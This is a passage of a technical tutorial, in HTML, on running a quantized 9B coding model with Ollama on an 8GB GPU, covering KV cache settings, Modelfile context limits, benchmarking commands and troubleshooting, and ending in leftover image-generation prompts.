available VRAM, Ollama offloads data across the PCIe bus to slower system RAM, causing a severe performance drop.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 600 153\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 344,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,0 L 584,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,32 L 336,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,32 L 576,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,64 L 104,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,64 L 208,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,64 L 328,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,64 L 560,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,80 L 392,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,112 L 104,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,112 L 208,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,112 L 328,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,112 L 560,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,128 L 344,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,128 L 584,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,64 L 24,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,64 L 104,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,64 L 128,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,64 L 208,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,64 L 232,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,64 L 328,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,0 L 344,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,0 L 408,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,64 L 432,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,64 L 560,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,0 L 584,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 52,88 L 60,72' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='400.000000,80.000000 388.000000,74.400002 388.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 392.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='40' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='100' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='100' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='68' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='100' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='20' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='20' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRepresents the hard limit of VRAM before offloading occurs.\u003c/li\u003e\n\u003cli\u003eThe PCIe bottleneck is the primary cause of token generation speed dropping to single digits.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"managing-context-in-ollama\"\u003eManaging Context in Ollama\u003c/h3\u003e\n\u003cp\u003eSet a hard cap on \u003ccode\u003enum_ctx\u003c/code\u003e in your Modelfile to prevent the cache from ever overflowing:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-dockerfile\" data-lang=\"dockerfile\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eqwen3.5:9b-instruct-q4_K_M\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Safe ceiling for 8GB GPU; drop to 4096 if you\u0026#39;re seeing lag spikes\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER num_ctx \u003cspan style=\"color:#ae81ff\"\u003e8192\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor 8GB cards, 8,192 tokens was traditionally the practical ceiling with standard KV precision on older architectures. However, with GQA models like Qwen 3.5, you can often push this to 16,384 or beyond without spilling out of VRAM.\u003c/p\u003e\n\u003cp\u003eYou can also reduce the KV cache\u0026rsquo;s own memory footprint with KV cache quantization. This requires enabling Flash Attention as well:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Enables Flash Attention and shrinks the KV cache to 4-bit, roughly halving cache VRAM usage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexport OLLAMA_FLASH_ATTENTION\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexport OLLAMA_KV_CACHE_TYPE\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eq4_0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama serve\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Windows PowerShell\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$env:OLLAMA_FLASH_ATTENTION \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$env:OLLAMA_KV_CACHE_TYPE \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;q4_0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama serve\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cem\u003e(Note: The commands above run \u003ccode\u003eollama serve\u003c/code\u003e in the foreground. If Ollama runs as a background system service or taskbar app, you need to apply these environment variables in your system settings and restart the service.)\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eWith Flash Attention and \u003ccode\u003eOLLAMA_KV_CACHE_TYPE=q4_0\u003c/code\u003e, an 8GB GPU can sustain context windows of 32,000+ tokens for GQA models while keeping all layers in VRAM.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-benchmarking-your-setup\"\u003eHands-On Example: Benchmarking Your Setup\u003c/h2\u003e\n\u003cp\u003eHere\u0026rsquo;s how to verify your configuration before committing to a full workflow.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1: Pull the model with explicit quantization\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull qwen3.5:9b-instruct-q4_K_M\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 2: Create a Modelfile with a locked context window\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-dockerfile\" data-lang=\"dockerfile\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Modelfile.bench\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eqwen3.5:9b-instruct-q4_K_M\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER num_ctx \u003cspan style=\"color:#ae81ff\"\u003e4096\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;You are a coding assistant. Return only code.\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 3: Build and run the benchmark model\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama create bench-coder -f Modelfile.bench\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama run bench-coder \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Write a Python function that parses a CSV file and returns a list of dicts.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 4: Monitor VRAM while it generates\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Open a second terminal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewatch -n \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e nvidia-smi\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# macOS: install and run asitop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo asitop\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou\u0026rsquo;re looking for two things: GPU utilization at 90–100%, and generation speed above 30 tokens/sec. If you see CPU offloading in \u003ccode\u003envidia-smi\u003c/code\u003e or generation drops below 10 tokens/sec, the context window is too large or the quantization doesn\u0026rsquo;t fit.\u003c/p\u003e\n\u003cp\u003eA healthy result looks like 40–55 tokens/sec with GPU at 95% and no CPU activity on the AI workload. That\u0026rsquo;s a setup you can actually work with daily.\u003c/p\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eAlways specify the quantization tag.\u003c/strong\u003e While Ollama\u0026rsquo;s defaults are generally sensible, pulling \u003ccode\u003eqwen3.5:9b-instruct-q4_K_M\u003c/code\u003e is explicit and predictable.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eClose VRAM-heavy applications\u003c/strong\u003e before a long coding session on 8GB hardware. Browsers with many tabs, video editors, and Electron apps all claim VRAM. On Windows, Task Manager\u0026rsquo;s GPU tab shows exactly which processes own your VRAM.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDon\u0026rsquo;t use context windows larger than 8,192 tokens on older architectures with 8GB VRAM\u003c/strong\u003e unless you\u0026rsquo;ve set \u003ccode\u003eOLLAMA_FLASH_ATTENTION=1\u003c/code\u003e and \u003ccode\u003eOLLAMA_KV_CACHE_TYPE=q4_0\u003c/code\u003e. For GQA models, you have more flexibility, but keeping it at 8,192 ensures you never hit the PCIe wall.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDon\u0026rsquo;t assume system RAM substitutes for VRAM on Windows/Linux.\u003c/strong\u003e A machine with 64GB of DDR5 and an 8GB GPU still runs at 2–3 tokens/sec when the model overflows VRAM — the PCIe bus is the bottleneck, not total system memory. Apple Silicon is the exception: its unified memory pool doesn\u0026rsquo;t incur this penalty.\u003c/p\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: Token generation is 1–5 tokens/sec.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Model layers offloaded to system RAM due to VRAM overflow. Run \u003ccode\u003envidia-smi dmon\u003c/code\u003e during generation — watch the \u003ccode\u003efb\u003c/code\u003e (framebuffer) column reach the maximum MB limit of your GPU\u0026rsquo;s total VRAM.\u003c/p\u003e\n\u003cp\u003eFix: Switch to \u003ccode\u003eq4_K_M\u003c/code\u003e if you\u0026rsquo;re on a larger format, or reduce \u003ccode\u003enum_ctx\u003c/code\u003e to 4096 in your Modelfile. Rebuild with \u003ccode\u003eollama create\u003c/code\u003e and restart.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: Ollama crashes instantly when you send a large prompt.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Your prompt plus existing KV cache exceeded available VRAM. Ollama ran out of space.\u003c/p\u003e\n\u003cp\u003eFix: Add \u003ccode\u003ePARAMETER num_ctx 4096\u003c/code\u003e to your Modelfile and set both \u003ccode\u003eOLLAMA_FLASH_ATTENTION=1\u003c/code\u003e and \u003ccode\u003eOLLAMA_KV_CACHE_TYPE=q4_0\u003c/code\u003e in your environment. Restart Ollama.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: Slow generation on Apple Silicon despite ample unified memory.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Ollama may be falling back to CPU inference instead of using the Metal GPU backend.\u003c/p\u003e\n\u003cp\u003eFix: Check Ollama\u0026rsquo;s startup logs for \u003ccode\u003eMetal\u003c/code\u003e acceleration confirmation. If it says \u003ccode\u003eCPU\u003c/code\u003e, ensure your Ollama version supports your Mac\u0026rsquo;s chip generation and that you haven\u0026rsquo;t set \u003ccode\u003eOLLAMA_NUM_GPU=0\u003c/code\u003e accidentally.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003cp\u003e8GB of VRAM is the practical minimum for running a 9B-class coding model at useful speed. Q4_K_M quantization cuts the memory footprint from 18GB to under 5.4GB with negligible code quality impact. The KV cache is the variable most people overlook: it grows with every token in your conversation, and when it overflows VRAM, generation speed falls off a cliff.\u003c/p\u003e\n\u003cp\u003eManage these three variables — quantization level, context window size, and KV cache type — and local AI coding becomes genuinely faster than waiting for a cloud API.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://huggingface.co/docs/optimum/concept_guides/quantization\"\u003eHugging Face Quantization Guide\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/modelfile.md\"\u003eOllama Modelfile Documentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ggerganov/llama.cpp\"\u003ellama.cpp GitHub Repository\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ml-explore/mlx\"\u003eApple MLX — Unified Memory Architecture\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 (3D Abstract / Isometric)**\nWide landscape format, 16:9 aspect ratio. A clean, isometric 3D visualization of computer memory blocks interacting with a glowing artificial intelligence core. Translucent blocks representing data neatly stack and flow through pipelines into a central processing node. The color palette is professional and modern, using deep blues, cool grays, and electric cyan accents. Soft, studio lighting highlights the geometric shapes and glass-like textures of the memory modules. No text, letters, words, or UI elements. No faces.\n\n**Prompt 2 (Cyber-Industrial / Data Flow)**\nWide landscape format, 16:9 aspect ratio. A high-contrast, dark cyber-industrial environment showing glowing data streams funneling through a narrow bridge between two massive servers. The left side represents standard memory with bright, dense fiber optic cables, while the right side represents an AI engine glowing with warm orange and teal light. Particles of light compress and organize as they move across the bridge, symbolizing quantization. Professional and futuristic vibe, highly detailed. No text, letters, words, or UI elements. No faces.\n\n**Prompt 3 (Macro Tech Detail)**\nWide landscape format, 16:9 aspect ratio. An extreme, photorealistic close-up of a high-end graphics card circuit board. The focus is on the memory chips surrounding the main processor, illuminated by a sleek, modern neon blue underglow. The traces on the PCB glow faintly, showing the pathway of data. Shallow depth of field creates a cinematic, premium technology 